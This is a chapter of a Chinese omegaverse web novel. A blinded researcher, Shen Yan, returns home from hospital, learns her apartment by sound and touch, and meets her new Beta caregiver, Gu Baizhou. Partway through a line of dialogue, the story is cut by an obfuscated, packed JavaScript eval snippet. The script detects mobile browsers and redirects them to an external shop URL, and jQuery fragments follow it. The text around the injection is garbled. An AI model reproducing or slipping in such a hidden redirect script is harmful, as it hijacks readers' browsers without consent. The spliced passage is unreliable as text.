车拐进一条安静的街道，外面热闹的声音渐渐远了。
然后沈砚闻到了一股熟悉的气味——湿冷的空气里混着泥土和枯草的味道，还有一点点食堂的油烟味。
“到了。”周世昀停好车。
沈砚伸出手，摸到了车门把手。
她推开门，一只脚踩在地上，另一只脚跟着迈出来。
“我扶你——”周世昀下了车，看见沈砚似乎不太习惯，下意识伸手扶住她的手肘，力道轻而稳。
沈砚没有拒绝，动作很慢但很稳，只是轻轻借了点力，便站定在微凉的晚风里。
关上车门，站在原地，微微侧着头，像在听什么。
风从东边吹过来，带着一条街外那家面馆的香气。
左边有一棵很大的树，因为能听见风穿过枝叶的声音，沙沙的，像有人在翻一本很厚的书。
前方大概一两米的位置有一扇门，因为有人推门出来的时候，门轴发出了轻微的吱呀声。
人才公寓。
她住了三年的地方，没想到她有一天会用感知的方式去重新认识它——每一道走廊、每一个拐角、每一级台阶，甚至门禁卡在读卡器上“滴”一声的声音。
周世昀一直默默走在沈砚旁边，不远不近，保持着一种“如果需要我可以随时伸手但不会让你觉得被冒犯”的距离。
沈砚走得很慢，但每一步都很稳。
她数着自己的步子——一、二、三、四……
走到第十一步的时候，沈砚的脚尖碰到了第一级台阶。
“到了。”耳边适时响起周世昀提醒的声音，“小心脚下，注意台阶。”
沈砚抬起脚，踩上台阶，一级、两级、三级......
然后是一段平地，然后是电梯的方向。
她能听见电梯运行的嗡嗡声，还有按钮被按下去时“滴”的一声轻响。
电梯门开了。
周世昀领着沈砚迈进去，指引着她抬手按下七楼按钮。
电梯上行的时候，沈砚忽然想起一件事。
她微微偏头，向着周世昀的方向，“师兄，我让你帮我找护工的事，你别忘了呀。”
周世昀笑了笑，“正在找。人才公寓这边住的大多是研究所的人，Beta不多，合适的更少。我再问问。”
“不急。”沈砚点了点头说，“这几天我自己能行。”
电梯到了七楼，沈砚走出电梯，右手摸到了走廊的墙壁。
墙是白色的，刷的乳胶漆，摸上去很光滑。
她沿着墙往前走，不久手指就触摸到了一个门框的边缘。
“是这间？”她问。
周世昀在她身后，“对。钥匙在你左手边的鞋柜上。”
沈砚摸到了钥匙，插进锁孔，拧开。
门推开的时候，一股淡淡的消毒水味扑面而来——是周世昀让人提前打扫过的痕迹。
她跨进门，鞋尖碰到了门槛，她抬脚迈过去，然后站在玄关处，听这个空荡荡的房间。
安静。
很安静。
没有医院的仪器声，没有护士的脚步声，没有隔壁床病人的咳嗽声。
只有暖气管道里水流动的声音，咕噜咕噜的，像一条很小很小的河。
“东西都放在原来的位置。”周世昀站在门口，跟着沈砚进门，“冰箱里有我让人准备的食材，够吃一周。厨房的调料都在右边的柜子里。洗衣机是智能语音控制的，你喊一声就能用。还有什么需要的？”
沈砚想了想，“帮我叫个外卖。今天不想做饭。”
周世昀轻叹一声，“……你刚出院，就吃外卖？”
“我现在做不了饭，师兄你......你做饭就算了吧，我怕吃完你煮的饭，腺体科研领域就要有一位新星陨落了。”沈砚笑了笑，“不吃外卖，那我吃泡面？”
周世昀跟着也笑了，声音里带着无可奈何的纵容：“行，我这就叫，帮你点粥再加两个清淡的菜。你先坐下歇会儿，别站着说话累。”
他顿了顿，又低声道，“沈砚，回家的感觉，还好吗？”
“挺好的。”沈砚摸索着走进客厅，指尖拂过沙发扶手微凉的布面，她缓缓坐下，后背轻靠上柔软靠垫，“在医院呆着闷，出来好多了。”
“我还有事，你试药的烂摊子我还要收拾，你师兄我要回去挨骂了。”周世昀点完外卖，拍了拍沈砚的肩，“那我先走了，有事随时打电话。”
沈砚点了点头，十分乖巧地应了一声，“好。”
“有什么事一定要打电话，别一个人扛。”周世昀走到门口又重复了一遍，语气里是藏不住的担忧。
沈砚面朝着周世昀声音的方向，嘴角弯了弯，“知道了，师兄。”
门被轻轻打开又轻轻合上，楼道里传来周世昀渐远的脚步声。
沈砚独自坐在沙发上，指尖无意识摩挲着扶手。
窗外有风掠过树梢，沙沙声温柔而熟悉。
房间里只剩下她一个人。
沈砚做在原地，一动不动，听着自己的呼吸声。
吸——呼——吸——呼，很平稳，很安静。
然后她站起来，开始慢慢地、一步一步地往前走。
右手边是客厅的沙发，再往前是茶几，玻璃面的，上面什么都没有。
左手边是电视墙，墙上挂着一台电视，她抬手碰了碰屏幕，冰凉的，没有开机。
她转过身，朝另一个方向走。
这是走廊，左边第一扇门是卫生间。
她推开门，摸到了洗手台的边缘，毛巾架，淋浴开关。
右边是卧室。她走进去，摸到了床的边缘，被子是纯棉的，叠得整整齐齐。
床头柜上放着台灯，她按了按开关，没有亮。
顿了顿，沈砚忽然笑了。
她好像......也不知道它亮没亮
沈砚在床边坐了一会儿。
然后她站起来，走到窗边，推开窗户，冷风灌进来，带着夜晚的湿气。
她趴在窗台上，面朝外面，听这个城市的夜晚。
远处有车流的声音，嗡嗡的，像一条流动的河。近处有人在说话，听不清内容，只有模糊的声调起起伏伏。
头顶有什么东西飞过去——是飞行器，引擎的声音很低沉，像一只大鸟掠过夜空。
她忽然想起很多年前，她和陆承宴站在一座天桥上，看底下的车流——
记忆戛然而止，沈砚关上了窗户，转身继续摸索着熟悉自己的房间。
护工的事，周世昀嘴上说着难找，但是还是在沈砚回家的当天晚上就搞定了。
“叫顾柏舟，三十一岁，男性Beta，有高级护理资质。”周世昀在通讯终端里说，“之前在京市的私立医院做了五年，最近调到临江来。人很靠谱，我面试过了。”
“男性Beta？”沈砚靠在沙发上，手里端着一杯已经凉了的茶。
“对。你要是不方便——”
“没有不方便。”沈砚笑了笑，打断他，“Beta就行，男女无所谓。”
“那行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414925|200735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他明天开始上班，每天上午八点到晚上八点。你需要他做什么，直接说就行。”
“好。”
第二天早上七点五十八分，门铃响了。
沈砚已经起来了——她现在不用看时间，但身体里好像有一个很准的生物钟，每天六点半准时醒——那是在研究院工作的时候养成的。
她摸索着洗漱、换衣服、烧水、泡茶——虽然茶叶放多了，茶很苦，但她还是一口一口喝完了。
门铃响了，她去开门。
门外站着一个人。
沈砚看不见他，但她能感觉到——有呼吸声，很平稳，不急不缓。
还有气味，很淡的皂香，混着一点点消毒水的气息，是医院里常能闻到的那种味道。
“沈小姐？”男人的声音很低，带着一点沙哑，但很清晰，“我是顾柏舟。”
沈砚侧身让开，“进来吧。”
顾柏舟进门的时候，沈砚听见他换鞋的声音——很轻，像是在刻意控制自己不要发出太大的声响。
然后他站在玄关处，安静了几秒。
沈砚察觉到，看向他，“怎么了？”
顾柏舟礼貌地笑了笑，“沈小姐，我先熟悉一下环境，可以吗？”
“可以。你随意。”沈砚没有拒绝，自己摸索着就要回去沙发上坐着。
顾柏舟伸手想要扶她，但是被她拒绝了，“顾先生先去熟悉吧，我自己可以。”
顾柏舟也没有坚持，开始在沈砚的房间里走动。
他的脚步声很轻，但有规律——他先去了厨房，打开冰箱看了看，又关了。然后去了卫生间，拧了拧水龙头，试了试水温。然后是卧室、阳台。
沈砚坐在沙发上，听着他的动静，忽然觉得师兄介绍的这个人还不错。
不废话，不客套，做事有章法。
“沈小姐，”顾柏舟走回来，在她对面的椅子上坐下，“我大概看了一下。厨房的食材足够一周的量，但冰箱的冷冻层是空的，调味料也只有盐和酱油。卫生间缺少防滑垫，淋浴区需要加一个扶手。卧室的窗帘是半透明的，早上的光线可能会影响您的生物钟，建议换遮光帘。”
沈砚愣了一下，“你刚才转了一圈，就看出了这些？”
“这是我的工作。”顾柏舟的语气很自然，“另外，您平时的作息时间是怎样的？饮食有什么忌口？有没有需要定时服用的药物？生活习惯上有哪些需要我特别注意的地方？”
沈砚沉默了一会儿。
她忽然觉得，找一个专业的护工，确实比自己硬撑要聪明得多。
“作息……之前在研究所的时候不规律，现在想调整过来。”她笑了笑，“饮食没有特别忌口。药物——”
她顿了顿，“医生开的腺体调节剂，每天早晚各一次。还有——”
“还有什么？”
“还有，医生说我的腺体现在处于高活跃状态，可能会出现假性热潮期。”沈砚的声音很平静，却带着十足的坦诚，“如果发生了，可能会有发情症状。你是Beta，对信息素不敏感，但以防万一，我提前告诉你。”
顾柏舟默了默，依然挂着温和的笑，“在接周所长的活之前，周所长已经告诉过我了，这件事情我是知情的。如果有这种情况发生，您希望我怎么处理？”
“离我远一点就行。”沈砚的语气轻描淡写，却透着不容置疑的边界感，“我有独立卧室，门锁完好。到时候你帮我叫个医生，或者联系周所长，然后就走吧。”
顾柏舟点了点头，“……好。”